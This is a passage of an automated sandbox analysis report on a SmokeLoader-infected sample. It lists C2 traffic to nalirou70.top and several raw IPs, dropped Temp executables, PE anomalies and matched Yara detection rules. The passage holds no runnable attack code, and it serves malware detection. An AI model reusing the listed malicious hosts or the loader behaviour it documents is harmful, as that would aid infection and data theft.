not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:22:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 02 47 e5 aa e3 1e bb 52 df 41 d1 ff 27 87 21 80 a5 9a 52 2e f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eGRA'!R.~0

Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139

Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: &l9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: romium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-j

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://pstanat.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: nalirou70.top

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49880 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725665133.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.713707724.00000000044C1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797092954.00000000006E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725720765.0000000000511000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783710135.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783461407.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797009453.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp, type: MEMORY

Source: F72D.exe, 0000000C.00000002.785827628.0000000002E09000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 82DC.exe.5.dr, Discrepant.Common/Client.cs

Large array initialization: RemoveState: array initializer size 189884

PE file contains section with special chars

Show sources

Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 8039.exe.5.dr	Static PE information: section name: )EWhgNF

PE file has nameless sections

Show sources

Source: 8039.exe.5.dr

Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02991238	19_2_02991238
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02991228	19_2_02991228
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_029914B0	19_2_029914B0
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_029914ED	19_2_029914ED
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02991594	19_2_02991594
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_029915AA	19_2_029915AA
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_0299151F	19_2_0299151F
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_0299150A	19_2_0299150A
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02991535	19_2_02991535
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_0299154A	19_2_0299154A
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02991572	19_2_02991572
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_02993E5E	19_2_02993E5E
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_05579047	19_2_05579047
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_05579A10	19_2_05579A10
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_0557C708	19_2_0557C708
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_0557C628	19_2_0557C628
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Code function: 19_2_055711F0	19_2_055711F0
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C22F0	20_2_013C22F0
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C4650	20_2_013C4650
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C192B	20_2_013C192B
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C197B	20_2_013C197B
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1968	20_2_013C1968
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C49A0	20_2_013C49A0
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C4990	20_2_013C4990
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C19D7	20_2_013C19D7
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C182C	20_2_013C182C
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C3B39	20_2_013C3B39
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1B69	20_2_013C1B69
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C3B48	20_2_013C3B48
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1BA8	20_2_013C1BA8
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1BC8	20_2_013C1BC8
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1A95	20_2_013C1A95
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1ADA	20_2_013C1ADA
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1D4E	20_2_013C1D4E
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1DFC	20_2_013C1DFC
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1DD1	20_2_013C1DD1
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1C2D	20_2_013C1C2D
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1C16	20_2_013C1C16
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C1C6B	20_2_013C1C6B
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 22_2_028CEC08	22_2_028CEC08
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D240D20	23_2_6D240D20
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D311D55	23_2_6D311D55
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262D50	23_2_6D262D50
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2735D0	23_2_6D2735D0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262430	23_2_6D262430
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24EC9B	23_2_6D24EC9B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70	23_2_6D272F70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FE7FF	23_2_6D2FE7FF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3067E2	23_2_6D3067E2
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D266E30	23_2_6D266E30
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CAE60	23_2_6D2CAE60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D312EF7	23_2_6D312EF7
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120	23_2_6D264120
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262990	23_2_6D262990
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A830	23_2_6D26A830
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246800	23_2_6D246800
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301002	23_2_6D301002
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D278840	23_2_6D278840
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25B090	23_2_6D25B090
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D263360	23_2_6D263360
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26AB40	23_2_6D26AB40
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27EBB0	23_2_6D27EBB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2EEB8A	23_2_6D2EEB8A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D298BE8	23_2_6D298BE8
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F23E3	23_2_6D2F23E3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27ABD8	23_2_6D27ABD8
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFA2B	23_2_6D2FFA2B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3132A9	23_2_6D3132A9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30E2C5	23_2_6D30E2C5
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03029390	24_2_03029390
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03021280	24_2_03021280
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03020520	24_2_03020520
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03023590	24_2_03023590
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_0302DA80	24_2_0302DA80
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03029F88	24_2_03029F88
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03023D08	24_2_03023D08
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03028DA0	24_2_03028DA0
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03020DD0	24_2_03020DD0
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03029380	24_2_03029380
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_0302126F	24_2_0302126F
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03020510	24_2_03020510
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_0302DA47	24_2_0302DA47
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03028D90	24_2_03028D90
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_03020DC0	24_2_03020DC0
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Code function: 27_2_0232EFE8	27_2_0232EFE8
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0109B950	29_2_0109B950
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0109E260	29_2_0109E260
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0109E9E9	29_2_0109E9E9
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BFAAD8	29_2_02BFAAD8
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BF5B20	29_2_02BF5B20
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BF3870	29_2_02BF3870
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BF6EE0	29_2_02BF6EE0
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BFF0B5	29_2_02BFF0B5
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BF8518	29_2_02BF8518
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BFEF88	29_2_02BFEF88
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_02BFEF78	29_2_02BFEF78
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538A7D8	29_2_0538A7D8
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_05389048	29_2_05389048
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_053883D0	29_2_053883D0
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538BE70	29_2_0538BE70
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538CB10	29_2_0538CB10
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538D26B	29_2_0538D26B
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538DED8	29_2_0538DED8

Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 59B4.exe.5.dr	Static PE information: Resource name: RT_ACCELERATOR type: Android binary XML
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9D57.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: argjvbv.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.24.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.24.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll			Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll			Jump to behavior

Source: y4oMrtO1Mt.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 24.2.B8B0.exe.ce0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B8B0.exe.ce0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B8B0.exe.ce0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B8B0.exe.ce0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B8B0.exe.ce0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 0000001D.00000002.945154520.0000000003D11000.00000004.00000001.sdmp, type: MEMORY	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: Process Memory Space: 82DC.exe PID: 4904, type: MEMORYSTR	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: String function: 6D2D5720 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: String function: 6D24B150 appears 129 times
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: String function: 6D29D08C appears 41 times

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401813 Sleep,NtTerminateProcess,	1_2_00401813
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401842 Sleep,NtTerminateProcess,	1_2_00401842
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00402052 NtQuerySystemInformation,NtQuerySystemInformation,	1_2_00402052
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00402403 NtEnumerateKey,NtEnumerateKey,	1_2_00402403
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_00401812 Sleep,NtTerminateProcess,	1_2_00401812
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_0040202C NtQuerySystemInformation,NtQuerySystemInformation,	1_2_0040202C
